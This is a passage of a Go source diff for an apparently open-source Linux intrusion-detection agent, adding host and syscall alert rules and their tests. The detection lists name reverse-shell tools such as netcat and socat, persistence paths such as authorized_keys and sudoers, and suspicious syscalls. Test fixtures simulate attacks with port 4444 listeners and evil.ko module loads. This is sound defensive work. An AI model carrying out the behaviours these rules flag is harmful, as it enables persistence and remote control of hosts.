||||
}
|
||||
if rule.ArgvRegex != "" {
|
||||
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
|
||||
if err != nil {
|
||||
return HostRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
|
||||
}
|
||||
rule.compiled = compiled
|
||||
}
|
||||
return rule, nil
|
||||
}
|
||||
|
||||
func (r HostRule) Matches(event HostEvent) bool {
|
||||
if !r.Events[event.Event] || len(r.Comms) > 0 && !r.Comms[event.Comm] ||
|
||||
len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
|
||||
return false
|
||||
}
|
||||
if r.PeerPublic != nil && netutil.IsPublicIP(event.PeerIP) != *r.PeerPublic {
|
||||
return false
|
||||
}
|
||||
if len(r.PeerPorts) > 0 && !r.PeerPorts[event.PeerPort] ||
|
||||
r.PeerPortExclude[event.PeerPort] ||
|
||||
len(r.LocalPorts) > 0 && !r.LocalPorts[event.LocalPort] ||
|
||||
r.LocalPortExclude[event.LocalPort] {
|
||||
return false
|
||||
}
|
||||
if len(r.PathPrefixes) > 0 && !pathMatches(event.Path, r.PathPrefixes) {
|
||||
return false
|
||||
}
|
||||
if len(r.TargetUIDs) > 0 && !r.TargetUIDs[event.TargetUID] ||
|
||||
len(r.TargetGIDs) > 0 && !r.TargetGIDs[event.TargetGID] ||
|
||||
len(r.ModuleNames) > 0 && !r.ModuleNames[event.ModuleName] {
|
||||
return false
|
||||
}
|
||||
if len(r.CapabilitiesAny) > 0 {
|
||||
matched := false
|
||||
for _, capability := range event.Capabilities {
|
||||
if r.CapabilitiesAny[strings.ToUpper(capability)] {
|
||||
matched = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !matched {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return r.compiled == nil || r.compiled.MatchString(event.ArgvString())
|
||||
}
|
||||
|
||||
func (r HostRule) Alert(event HostEvent) model.Alert {
|
||||
capabilities := strings.Join(event.Capabilities, ",")
|
||||
mode := "-"
|
||||
if event.Mode != 0 {
|
||||
mode = fmt.Sprintf("0o%o", event.Mode)
|
||||
}
|
||||
module := event.ModuleName
|
||||
if module == "" {
|
||||
module = "-"
|
||||
}
|
||||
displayCaps := capabilities
|
||||
if displayCaps == "" {
|
||||
displayCaps = "-"
|
||||
}
|
||||
return model.Alert{
|
||||
SID: r.SID, Severity: r.Severity,
|
||||
Signature: "host_rule." + r.Classtype, Classtype: r.Classtype,
|
||||
Key: fmt.Sprintf(
|
||||
"host:%d:%s:%d:%s:%d:%s:%d:%s:%d:%d:%d:%s:%s",
|
||||
r.SID, event.Event, event.PID, event.PeerIP, event.PeerPort,
|
||||
event.LocalIP, event.LocalPort, event.Path, event.TargetUID,
|
||||
event.TargetGID, event.Mode, capabilities, event.ModuleName),
|
||||
Detail: fmt.Sprintf(
|
||||
"sid=%d %s - pid=%d ppid=%d comm=%s event=%s peer=%s:%d local=%s:%d path=%s target_uid=%d target_gid=%d mode=%s capabilities=%s module=%s",
|
||||
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Event,
|
||||
event.PeerIP, event.PeerPort, event.LocalIP, event.LocalPort,
|
||||
event.Path, event.TargetUID, event.TargetGID, mode, displayCaps, module),
|
||||
PIDs: []int{event.PID},
|
||||
}
|
||||
}
|
||||
|
||||
type HostRuleEngine struct{ Rules []HostRule }
|
||||
|
||||
func DefaultHostRuleEngine() HostRuleEngine {
|
||||
public := true
|
||||
specifications := []HostRule{
|
||||
{SID: 100067, Message: "Interpreter connected to an unusual public port", Severity: "HIGH", Classtype: "suspicious-egress", Events: stringSet([]string{"tcp_connect"}), Comms: hostInterpreters, PeerPublic: &public, PeerPortExclude: commonPublicPorts},
|
||||
{SID: 100068, Message: "Interpreter opened a listener on an unusual local port", Severity: "HIGH", Classtype: "suspicious-listener", Events: stringSet([]string{"listen"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
|
||||
{SID: 100073, Message: "Interpreter bound an unusual local port", Severity: "HIGH", Classtype: "suspicious-bind", Events: stringSet([]string{"bind"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
|
||||
{SID: 100069, Message: "Interpreter wrote to a persistence path", Severity: "HIGH", Classtype: "persistence-write", Events: stringSet([]string{"file_write"}), Comms: hostInterpreters, PathPrefixes: persistencePrefixes},
|
||||
{SID: 100070, Message: "Permissions or ownership changed on a persistence path", Severity: "HIGH", Classtype: "persistence-permission-change", Events: stringSet([]string{"chmod", "chown"}), PathPrefixes: persistencePrefixes},
|
||||
{SID: 100071, Message: "Interpreter requested a root UID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setuid"}), Comms: hostInterpreters, TargetUIDs: intSet([]int{0})},
|
||||
{SID: 100072, Message: "Interpreter requested a root GID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setgid"}), Comms: hostInterpreters, TargetGIDs: intSet([]int{0})},
|
||||
{SID: 100076, Message: "Interpreter accepted inbound traffic on an unusual local port", Severity: "HIGH", Classtype: "suspicious-accept", Events: stringSet([]string{"accept"}), Comms: hostInterpreters, PeerPublic: &public, LocalPortExclude: commonPublicPorts},
|
||||
{SID: 100077, Message: "Interpreter requested sensitive Linux capabilities", Severity: "HIGH", Classtype: "capability-escalation", Events: stringSet([]string{"capset"}), Comms: hostInterpreters, CapabilitiesAny: sensitiveCapabilities},
|
||||
{SID: 100078, Message: "Kernel module load requested from a writable runtime path", Severity: "CRITICAL", Classtype: "suspicious-module-load", Events: stringSet([]string{"module_load"}), PathPrefixes: writableRuntimePrefixes},
|
||||
}
|
||||
rules := make([]HostRule, 0, len(specifications))
|
||||
for _, specification := range specifications {
|
||||
rule, err := NewHostRule(specification)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
rules = append(rules, rule)
|
||||
}
|
||||
return HostRuleEngine{Rules: rules}
|
||||
}
|
||||
|
||||
func (e HostRuleEngine) Match(event HostEvent) []model.Alert {
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, rule := range e.Rules {
|
||||
if rule.Matches(event) {
|
||||
alerts = append(alerts, rule.Alert(event))
|
||||
}
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
|
||||
var hostInterpreterNames = strings.Fields(
|
||||
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
|
||||
"node nodejs nc ncat netcat socat curl wget fetch")
|
||||
var hostInterpreters = stringSet(hostInterpreterNames)
|
||||
|
||||
// HostInterpreterComms returns the process names used by typed host rules.
|
||||
// Kernel sources use the same list for in-BPF prefiltering.
|
||||
func HostInterpreterComms() []string {
|
||||
return append([]string(nil), hostInterpreterNames...)
|
||||
}
|
||||
|
||||
var commonPublicPorts = intSet([]int{22, 53, 80, 123, 443, 853})
|
||||
var persistencePrefixes = []string{
|
||||
"/etc/cron.d/", "/etc/crontab", "/etc/systemd/system/",
|
||||
"/etc/ld.so.preload", "/root/.ssh/authorized_keys",
|
||||
"/etc/sudoers", "/etc/sudoers.d/",
|
||||
}
|
||||
var writableRuntimePrefixes = []string{"/tmp/", "/var/tmp/", "/dev/shm/", "/run/user/"}
|
||||
var sensitiveCapabilities = stringSet([]string{
|
||||
"CAP_SYS_ADMIN", "CAP_SYS_MODULE", "CAP_SYS_PTRACE",
|
||||
"CAP_DAC_READ_SEARCH", "CAP_NET_ADMIN", "CAP_NET_RAW",
|
||||
})
|
||||
|
||||
func intSet(values []int) map[int]bool {
|
||||
result := make(map[int]bool, len(values))
|
||||
for _, value := range values {
|
||||
result[value] = true
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func pathMatches(path string, prefixes []string) bool {
|
||||
for _, prefix := range prefixes {
|
||||
if path == prefix || strings.HasPrefix(path, prefix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
90
go-agent/internal/events/host_rules_test.go
Normal file
90
go-agent/internal/events/host_rules_test.go
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestHostEventCompatibilityAliases(t *testing.T) {
|
||||
var event HostEvent
|
||||
raw := []byte(`{"type":"accept","pid":"42","remote_ip":"8.8.8.8","remote_port":"51515","bind_ip":"0.0.0.0","bind_port":"4444","target_uid":"0","mode":"0o777","capability":"cap_sys_admin","name":"evil"}`)
|
||||
if err := json.Unmarshal(raw, &event); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if event.Event != "accept" || event.PID != 42 || event.PeerIP != "8.8.8.8" ||
|
||||
event.PeerPort != 51515 || event.LocalPort != 4444 || event.TargetUID != 0 ||
|
||||
event.TargetGID != -1 || event.Mode != 0o777 || event.Capabilities[0] != "CAP_SYS_ADMIN" ||
|
||||
event.ModuleName != "evil" {
|
||||
t.Fatalf("compatibility decode drifted: %#v", event)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultHostRulesMatchAllBuiltins(t *testing.T) {
|
||||
engine := DefaultHostRuleEngine()
|
||||
tests := []struct {
|
||||
event HostEvent
|
||||
sid int
|
||||
}{
|
||||
{HostEvent{Event: "tcp_connect", PID: 1, Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 4444, TargetUID: -1, TargetGID: -1}, 100067},
|
||||
{HostEvent{Event: "listen", PID: 2, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100068},
|
||||
{HostEvent{Event: "bind", PID: 3, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100073},
|
||||
{HostEvent{Event: "file_write", PID: 4, Comm: "python3", Path: "/etc/systemd/system/evil.service", TargetUID: -1, TargetGID: -1}, 100069},
|
||||
{HostEvent{Event: "chmod", PID: 5, Comm: "chmod", Path: "/etc/cron.d/evil", Mode: 0o777, TargetUID: -1, TargetGID: -1}, 100070},
|
||||
{HostEvent{Event: "setuid", PID: 6, Comm: "python3", TargetUID: 0, TargetGID: -1}, 100071},
|
||||
{HostEvent{Event: "setgid", PID: 7, Comm: "python3", TargetUID: -1, TargetGID: 0}, 100072},
|
||||
{HostEvent{Event: "accept", PID: 8, Comm: "python3", PeerIP: "8.8.8.8", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100076},
|
||||
{HostEvent{Event: "capset", PID: 9, Comm: "python3", Capabilities: []string{"cap_sys_admin"}, TargetUID: -1, TargetGID: -1}, 100077},
|
||||
{HostEvent{Event: "module_load", PID: 10, Comm: "insmod", Path: "/tmp/evil.ko", TargetUID: -1, TargetGID: -1}, 100078},
|
||||
}
|
||||
for _, test := range tests {
|
||||
found := false
|
||||
for _, alert := range engine.Match(test.event) {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostInterpreterCommsReturnsCopy(t *testing.T) {
|
||||
first := HostInterpreterComms()
|
||||
if len(first) == 0 {
|
||||
t.Fatal("interpreter list must not be empty")
|
||||
}
|
||||
original := first[0]
|
||||
first[0] = "mutated"
|
||||
if HostInterpreterComms()[0] != original {
|
||||
t.Fatal("caller mutated shared interpreter list")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostRulesRejectCommonOrPrivateNetworkShapes(t *testing.T) {
|
||||
engine := DefaultHostRuleEngine()
|
||||
for _, event := range []HostEvent{
|
||||
{Event: "tcp_connect", Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 443},
|
||||
{Event: "tcp_connect", Comm: "python3", PeerIP: "10.0.0.2", PeerPort: 4444},
|
||||
{Event: "listen", Comm: "python3", LocalPort: 80},
|
||||
} {
|
||||
if alerts := engine.Match(event); len(alerts) != 0 {
|
||||
t.Fatalf("benign network shape matched: %#v", alerts)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostAlertContract(t *testing.T) {
|
||||
event := HostEvent{
|
||||
Event: "chmod", PID: 42, PPID: 1, UID: 0, Comm: "chmod",
|
||||
Path: "/etc/cron.d/evil", TargetUID: -1, TargetGID: -1, Mode: 0o777,
|
||||
}
|
||||
alert := DefaultHostRuleEngine().Match(event)[0]
|
||||
if alert.Key != "host:100070:chmod:42::0::0:/etc/cron.d/evil:-1:-1:511::" ||
|
||||
!strings.Contains(alert.Detail, "mode=0o777 capabilities=- module=-") {
|
||||
t.Fatalf("unexpected host alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
121
go-agent/internal/events/pipeline.go
Normal file
121
go-agent/internal/events/pipeline.go
Normal file
|
|
@ -0,0 +1,121 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
type EventKind string
|
||||
|
||||
const (
|
||||
ExecKind EventKind = "exec"
|
||||
SyscallKind EventKind = "syscall"
|
||||
HostKind EventKind = "host"
|
||||
)
|
||||
|
||||
// RuleSet is the transport-independent destination for every live or replayed
|
||||
// kernel event. A cilium/ebpf source only needs to decode into these records;
|
||||
// it does not need to know rule details or alert schemas.
|
||||
type RuleSet struct {
|
||||
Exec ExecRuleEngine
|
||||
Syscall SyscallRuleEngine
|
||||
Host HostRuleEngine
|
||||
}
|
||||
|
||||
func NewRuleSet(exec ExecRuleEngine) RuleSet {
|
||||
return RuleSet{
|
||||
Exec: exec, Syscall: DefaultSyscallRuleEngine(), Host: DefaultHostRuleEngine(),
|
||||
}
|
||||
}
|
||||
|
||||
func (r RuleSet) MatchJSON(raw []byte) ([]model.Alert, error) {
|
||||
kind, err := eventKind(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
switch kind {
|
||||
case ExecKind:
|
||||
var event ExecEvent
|
||||
if err := json.Unmarshal(raw, &event); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return r.Exec.Match(event), nil
|
||||
case SyscallKind:
|
||||
var event SyscallEvent
|
||||
if err := json.Unmarshal(raw, &event); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return r.Syscall.Match(event), nil
|
||||
case HostKind:
|
||||
var event HostEvent
|
||||
if err := json.Unmarshal(raw, &event); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return r.Host.Match(event), nil
|
||||
default:
|
||||
return nil, fmt.Errorf("event JSON must be an exec, syscall, or host event")
|
||||
}
|
||||
}
|
||||
|
||||
func eventKind(raw []byte) (EventKind, error) {
|
||||
var values map[string]any
|
||||
if err := json.Unmarshal(raw, &values); err != nil {
|
||||
return "", err
|
||||
}
|
||||
explicit := strings.ToLower(stringValue(firstValue(values, "event", "type")))
|
||||
switch explicit {
|
||||
case "exec", "execve":
|
||||
return ExecKind, nil
|
||||
case "syscall", "sys":
|
||||
return SyscallKind, nil
|
||||
case "tcp_connect", "bind", "listen", "accept", "file_write",
|
||||
"chmod", "chown", "setuid", "setgid", "capset", "module_load":
|
||||
return HostKind, nil
|
||||
}
|
||||
if _, ok := values["filename"]; ok {
|
||||
return ExecKind, nil
|
||||
}
|
||||
if _, ok := values["argv"]; ok {
|
||||
return ExecKind, nil
|
||||
}
|
||||
if _, ok := values["parent_comm"]; ok {
|
||||
return ExecKind, nil
|
||||
}
|
||||
if _, ok := values["syscall"]; ok {
|
||||
return SyscallKind, nil
|
||||
}
|
||||
if _, ok := values["args"]; ok {
|
||||
return SyscallKind, nil
|
||||
}
|
||||
return "", fmt.Errorf("event JSON must be an exec, syscall, or host event")
|
||||
}
|
||||
|
||||
// ScanJSONL feeds non-empty lines to the matcher callback with line-numbered
|
||||
// errors. Scanner capacity is raised for long argv or future module metadata.
|
||||
func ScanJSONL(reader io.Reader, consume func([]byte) error) error {
|
||||
scanner := bufio.NewScanner(reader)
|
||||
scanner.Buffer(make([]byte, 64*1024), 1024*1024)
|
||||
line := 0
|
||||
for scanner.Scan() {
|
||||
line++
|
||||
raw := bytesTrimSpace(scanner.Bytes())
|
||||
if len(raw) == 0 {
|
||||
continue
|
||||
}
|
||||
if err := consume(raw); err != nil {
|
||||
return fmt.Errorf("event stream line %d: %w", line, err)
|
||||
}
|
||||
}
|
||||
return scanner.Err()
|
||||
}
|
||||
|
||||
func bytesTrimSpace(value []byte) []byte {
|
||||
return []byte(strings.TrimSpace(string(value)))
|
||||
}
|
||||
45
go-agent/internal/events/pipeline_test.go
Normal file
45
go-agent/internal/events/pipeline_test.go
Normal file
|
|
@ -0,0 +1,45 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestRuleSetMatchesCompatibilityJSON(t *testing.T) {
|
||||
rules := NewRuleSet(DefaultExecRuleEngine())
|
||||
tests := []struct {
|
||||
raw string
|
||||
sid int
|
||||
}{
|
||||
{`{"type":"execve","pid":"42","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}`, 100003},
|
||||
{`{"type":"sys","pid":"43","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}`, 100060},
|
||||
{`{"type":"listen","pid":"44","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}`, 100068},
|
||||
}
|
||||
for _, test := range tests {
|
||||
alerts, err := rules.MatchJSON([]byte(test.raw))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
found := false
|
||||
for _, alert := range alerts {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %s: %#v", test.sid, test.raw, alerts)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanJSONLReportsLine(t *testing.T) {
|
||||
err := ScanJSONL(strings.NewReader("\n{}\n"), func(raw []byte) error {
|
||||
_, err := NewRuleSet(DefaultExecRuleEngine()).MatchJSON(raw)
|
||||
return err
|
||||
})
|
||||
if err == nil || !strings.Contains(err.Error(), "line 2") {
|
||||
t.Fatalf("missing line context: %v", err)
|
||||
}
|
||||
}
|
||||
42
go-agent/internal/events/syscall_event.go
Normal file
42
go-agent/internal/events/syscall_event.go
Normal file
|
|
@ -0,0 +1,42 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
// SyscallEvent is the transport-neutral security telemetry consumed by the
|
||||
// syscall rules. Unsupplied arguments decode as zero, matching Python's
|
||||
// dataclass defaults and the partial fixtures accepted by rule operations.
|
||||
type SyscallEvent struct {
|
||||
PID int `json:"pid"`
|
||||
PPID int `json:"ppid"`
|
||||
UID int `json:"uid"`
|
||||
Comm string `json:"comm"`
|
||||
Syscall string `json:"syscall"`
|
||||
Args [6]uint64 `json:"args"`
|
||||
Text string `json:"text"`
|
||||
}
|
||||
|
||||
func (e *SyscallEvent) UnmarshalJSON(raw []byte) error {
|
||||
var values map[string]any
|
||||
if err := json.Unmarshal(raw, &values); err != nil {
|
||||
return err
|
||||
}
|
||||
e.PID = integerValue(values["pid"], 0)
|
||||
e.PPID = integerValue(values["ppid"], 0)
|
||||
e.UID = integerValue(values["uid"], 0)
|
||||
e.Comm = stringValue(values["comm"])
|
||||
e.Syscall = stringValue(values["syscall"])
|
||||
e.Text = stringValue(values["text"])
|
||||
if args, ok := values["args"].([]any); ok {
|
||||
for index := 0; index < len(args) && index < len(e.Args); index++ {
|
||||
e.Args[index] = uint64(integerValue(args[index], 0))
|
||||
}
|
||||
}
|
||||
for index, key := range []string{"arg0", "arg1", "arg2", "arg3", "arg4", "arg5"} {
|
||||
if value, ok := values[key]; ok {
|
||||
e.Args[index] = uint64(integerValue(value, int(e.Args[index])))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
123
go-agent/internal/events/syscall_rules.go
Normal file
123
go-agent/internal/events/syscall_rules.go
Normal file
|
|
@ -0,0 +1,123 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
const (
|
||||
protWrite = 0x2
|
||||
protExec = 0x4
|
||||
ptraceTrace = 0
|
||||
ptraceAttach = 16
|
||||
ptraceSeize = 0x4206
|
||||
prSetSeccomp = 22
|
||||
)
|
||||
|
||||
type syscallPredicate func(SyscallEvent) bool
|
||||
|
||||
type SyscallRule struct {
|
||||
SID int
|
||||
Message string
|
||||
Severity string
|
||||
Classtype string
|
||||
Syscalls map[string]bool
|
||||
Predicate syscallPredicate
|
||||
}
|
||||
|
||||
func (r SyscallRule) Matches(event SyscallEvent) bool {
|
||||
return r.Syscalls[event.Syscall] && r.Predicate(event)
|
||||
}
|
||||
|
||||
func (r SyscallRule) Alert(event SyscallEvent) model.Alert {
|
||||
detail := fmt.Sprintf(
|
||||
"sid=%d %s — pid=%d ppid=%d comm=%s syscall=%s args=[%#x, %#x, %#x, %#x]",
|
||||
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Syscall,
|
||||
event.Args[0], event.Args[1], event.Args[2], event.Args[3])
|
||||
if event.Text != "" {
|
||||
detail += " text=[" + truncateRunes(event.Text, 80) + "]"
|
||||
}
|
||||
return model.Alert{
|
||||
SID: r.SID, Severity: r.Severity,
|
||||
Signature: "syscall_rule." + r.Classtype, Classtype: r.Classtype,
|
||||
Key: fmt.Sprintf("syscall:%d:%d:%s:%x:%x",
|
||||
r.SID, event.PID, event.Syscall, event.Args[0], event.Args[2]),
|
||||
Detail: detail, PIDs: []int{event.PID},
|
||||
}
|
||||
}
|
||||
|
||||
type SyscallRuleEngine struct {
|
||||
Rules []SyscallRule
|
||||
}
|
||||
|
||||
func DefaultSyscallRuleEngine() SyscallRuleEngine {
|
||||
return SyscallRuleEngine{Rules: []SyscallRule{
|
||||
{
|
||||
SID: 100060, Message: "mprotect made memory writable and executable",
|
||||
Severity: "CRITICAL", Classtype: "memory-obfuscation",
|
||||
Syscalls: stringSet([]string{"mprotect"}),
|
||||
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
|
||||
},
|
||||
{
|
||||
SID: 100061, Message: "mmap requested writable and executable memory",
|
||||
Severity: "CRITICAL", Classtype: "memory-obfuscation",
|
||||
Syscalls: stringSet([]string{"mmap"}),
|
||||
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
|
||||
},
|
||||
{
|
||||
SID: 100062, Message: "memfd_create used for anonymous in-memory file staging",
|
||||
Severity: "MEDIUM", Classtype: "fileless-execution",
|
||||
Syscalls: stringSet([]string{"memfd_create"}), Predicate: alwaysSyscall,
|
||||
},
|
||||
{
|
||||
SID: 100063, Message: "ptrace anti-debug or attach operation observed",
|
||||
Severity: "HIGH", Classtype: "anti-analysis",
|
||||
Syscalls: stringSet([]string{"ptrace"}),
|
||||
Predicate: func(event SyscallEvent) bool {
|
||||
request := event.Args[0]
|
||||
return request == ptraceTrace || request == ptraceAttach || request == ptraceSeize
|
||||
},
|
||||
},
|
||||
{
|
||||
SID: 100064,
|
||||
Message: "seccomp sandboxing call observed (possible anti-analysis hardening)",
|
||||
Severity: "MEDIUM", Classtype: "anti-analysis",
|
||||
Syscalls: stringSet([]string{"prctl", "seccomp"}),
|
||||
Predicate: func(event SyscallEvent) bool {
|
||||
return event.Syscall == "seccomp" || event.Args[0] == prSetSeccomp
|
||||
},
|
||||
},
|
||||
{
|
||||
SID: 100065, Message: "cross-process memory read/write syscall observed",
|
||||
Severity: "HIGH", Classtype: "credential-access",
|
||||
Syscalls: stringSet([]string{"process_vm_readv", "process_vm_writev"}),
|
||||
Predicate: alwaysSyscall,
|
||||
},
|
||||
{
|
||||
SID: 100066,
|
||||
Message: "memory locking syscall observed (possible protected in-memory payload)",
|
||||
Severity: "MEDIUM", Classtype: "memory-obfuscation",
|
||||
Syscalls: stringSet([]string{"mlock", "mlock2", "mlockall"}),
|
||||
Predicate: alwaysSyscall,
|
||||
},
|
||||
}}
|
||||
}
|
||||
|
||||
func (e SyscallRuleEngine) Match(event SyscallEvent) []model.Alert {
|
||||
alerts := make([]model.Alert, 0)
|
||||
for _, rule := range e.Rules {
|
||||
if rule.Matches(event) {
|
||||
alerts = append(alerts, rule.Alert(event))
|
||||
}
|
||||
}
|
||||
return alerts
|
||||
}
|
||||
|
||||
func protectedWX(protection uint64) bool {
|
||||
return protection&protWrite != 0 && protection&protExec != 0
|
||||
}
|
||||
|
||||
func alwaysSyscall(SyscallEvent) bool { return true }
|
||||
64
go-agent/internal/events/syscall_rules_test.go
Normal file
64
go-agent/internal/events/syscall_rules_test.go
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func syscallEvent(name string, arg0, arg2 uint64) SyscallEvent {
|
||||
return SyscallEvent{
|
||||
PID: 10, PPID: 1, UID: 1000, Comm: "hoxha", Syscall: name,
|
||||
Args: [6]uint64{arg0, 0, arg2},
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultSyscallRulesMatchPython(t *testing.T) {
|
||||
engine := DefaultSyscallRuleEngine()
|
||||
tests := []struct {
|
||||
event SyscallEvent
|
||||
sid int
|
||||
}{
|
||||
{syscallEvent("mprotect", 0, 0x6), 100060},
|
||||
{syscallEvent("mmap", 0, 0x7), 100061},
|
||||
{syscallEvent("memfd_create", 0, 0), 100062},
|
||||
{syscallEvent("ptrace", 16, 0), 100063},
|
||||
{syscallEvent("ptrace", 0x4206, 0), 100063},
|
||||
{syscallEvent("prctl", 22, 0), 100064},
|
||||
{syscallEvent("seccomp", 0, 0), 100064},
|
||||
{syscallEvent("process_vm_readv", 4242, 0), 100065},
|
||||
{syscallEvent("process_vm_writev", 4242, 0), 100065},
|
||||
{syscallEvent("mlock", 0, 0), 100066},
|
||||
{syscallEvent("mlockall", 0, 0), 100066},
|
||||
}
|
||||
for _, test := range tests {
|
||||
found := false
|
||||
for _, alert := range engine.Match(test.event) {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
|
||||
}
|
||||
}
|
||||
if alerts := engine.Match(syscallEvent("mprotect", 0, 0x5)); len(alerts) != 0 {
|
||||
t.Fatalf("read+exec mprotect matched: %#v", alerts)
|
||||
}
|
||||
if alerts := engine.Match(syscallEvent("ptrace", 3, 0)); len(alerts) != 0 {
|
||||
t.Fatalf("non-sensitive ptrace matched: %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSyscallAlertContract(t *testing.T) {
|
||||
event := syscallEvent("memfd_create", 1, 0)
|
||||
event.Text = "payload"
|
||||
alert := DefaultSyscallRuleEngine().Match(event)[0]
|
||||
if alert.SID != 100062 || alert.Severity != "MEDIUM" ||
|
||||
alert.Signature != "syscall_rule.fileless-execution" ||
|
||||
alert.Key != "syscall:100062:10:memfd_create:1:0" ||
|
||||
!strings.Contains(alert.Detail, "args=[0x1, 0x0, 0x0, 0x0] text=[payload]") {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
90
go-agent/internal/health/heartbeat.go
Normal file
90
go-agent/internal/health/heartbeat.go
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package health persists the migration service liveness marker.
|
||||
package health
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const Filename = "heartbeat"
|
||||
|
||||
const Schema = "enodia.go.health.v1"
|
||||
|
||||
// Status is the stable machine-readable result returned by the health command.
|
||||
type Status struct {
|
||||
Schema string `json:"schema"`
|
||||
Healthy bool `json:"healthy"`
|
||||
Heartbeat string `json:"heartbeat,omitempty"`
|
||||
AgeSeconds int64 `json:"age_seconds,omitempty"`
|
||||
MaxAgeSeconds int64 `json:"max_age_seconds"`
|
||||
Detail string `json:"detail"`
|
||||
}
|
||||
|
||||
// WriteHeartbeat atomically stores a Unix timestamp in the state directory.
|
||||
// A stale retained value is intentional: watchdogs can distinguish a stopped
|
||||
// or wedged process from a service that has never completed a sweep.
|
||||
func WriteHeartbeat(stateDir string, now time.Time) error {
|
||||
if stateDir == "" {
|
||||
return fmt.Errorf("state directory is required")
|
||||
}
|
||||
if err := os.MkdirAll(stateDir, 0o750); err != nil {
|
||||
return fmt.Errorf("create heartbeat directory: %w", err)
|
||||
}
|
||||
path := filepath.Join(stateDir, Filename)
|
||||
temporary := path + ".tmp"
|
||||
content := []byte(strconv.FormatInt(now.Unix(), 10) + "\n")
|
||||
if err := os.WriteFile(temporary, content, 0o600); err != nil {
|
||||
return fmt.Errorf("write heartbeat: %w", err)
|
||||
}
|
||||
if err := os.Rename(temporary, path); err != nil {
|
||||
return fmt.Errorf("replace heartbeat: %w", err)
|
||||
}
|
||||
if err := os.Chmod(path, 0o600); err != nil {
|
||||
return fmt.Errorf("protect heartbeat: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ReadHeartbeat loads the retained Unix timestamp.
|
||||
